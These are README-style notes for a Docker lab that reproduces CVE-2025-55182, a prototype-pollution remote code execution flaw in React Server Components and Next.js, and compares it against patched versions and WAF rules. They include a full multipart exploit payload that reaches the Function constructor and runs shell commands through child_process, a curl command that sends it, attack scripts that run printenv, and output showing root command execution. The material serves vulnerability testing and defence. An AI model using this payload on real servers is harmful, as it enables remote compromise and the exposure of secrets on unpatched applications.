🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

// Attack payload structure
{
  "then": "$1:__proto__:then",           // Contaminate Object.prototype.then
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Trigger Blob deserialization
  "_response": {
    "_prefix": "malicious_code",         // Code to execute
    "_formData": {
      "get": "$1:constructor:constructor"  // Access Function constructor
    }
  }
}

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

.\run-tests.ps1 status

# Method 1: Use PowerShell script (recommended)
.\tests\exploit-working.ps1

# Method 2: Run Node.js directly
node tests\exploit-working.js

docker compose logs vulnerable-app --tail=20

# PowerShell script (recommended)
.\tests\exploit-working.ps1

# Or run Node.js directly
node tests\exploit-working.js

# Create payload file
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# Send attack
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# Check log execution
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

// In exploit-working.js:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'Application directory listing' },
  { name: 'env', cmd: 'printenv', desc: 'Print environment variables' }
]

# Run working exploit
node tests/exploit-working.js

# Expected result: Command execution successful
# Output: User information, system details, etc.

# Use PowerShell script
.\tests\exploit-working.ps1 -Port 3001

# Attempt attack through NGINX WAF
.\tests\exploit-working.ps1 -Port 8080

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

# NGINX block test
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# Expected response: HTTP 403

# ModSecurity block test
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# Expected response: HTTP 403

# NGINX security log
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity audit log
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker environment configuration
├── run-tests.ps1                       # Windows execution script
├── run-tests.sh                        # Linux/Mac execution script
│
├── vulnerable-app/                     # Vulnerable version application
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # Basic layout
│   │   ├── page.js                     # Main page
│   │   └── api/
│   │       └── health/                 # Health check endpoint
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # Patched version application
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # Attack scripts
│   ├── exploit-working.js              # RCE attack (Node.js)
│   ├── exploit-working.ps1             # RCE attack (PowerShell)
│   └── exploit-working.cmd             # RCE attack (batch file)
│
├── nginx/                              # NGINX WAF configuration
│   ├── nginx.conf                      # CVE-2025-55182 blocking rules
│   └── nginx-patched.conf              # Proxy configuration
│
└── apache/                             # Apache ModSecurity configuration
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity blocking rules

[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

# Real-time log monitoring
docker compose logs -f vulnerable-app

# What to check:
# [EXPLOIT] Executing: whoami
# [RESULT] root

# Verify if attack was executed
docker compose exec vulnerable-app ps aux | grep node

# Check file system changes (if files were written)
docker compose exec vulnerable-app ls -la /tmp

# Test with patched version
.\tests\exploit-working.ps1 -Port 3001

# Or
$env:TARGET_PORT=3001; node tests\exploit-working.js

# Test with patched version
TARGET_PORT=3001 node tests/exploit-working.js

# Start
.\run-tests.ps1 start

# Check status
.\run-tests.ps1 status

# View logs
.\run-tests.ps1 logs

# Stop
.\run-tests.ps1 stop

# Clean (delete all containers and volumes)
.\run-tests.ps1 clean

# 1. Check version
docker compose exec vulnerable-app npm list react next

# Should display:
# [email protected]
# [email protected]

# 2. Verify server responds
curl http://localhost:3000

# 3. Check Docker logs
docker compose logs vulnerable-app --tail=50

# 4. Restart container
docker compose restart vulnerable-app

# Filter logs in PowerShell
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

Cannot run scripts on this system...

# Apply to current session only
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Or run directly
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

docker compose ps

# Check processes using port
netstat -ano | findstr :3000

# Terminate process (after verifying PID)
taskkill /PID <PID> /F

# Change ports to avoid conflict
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # Change 3000 to 3010

# Test NGINX configuration
docker compose exec nginx nginx -t

# Test Apache configuration
docker compose exec apache apachectl configtest

# Check logs
docker compose logs nginx --tail=30
docker compose logs apache --tail=30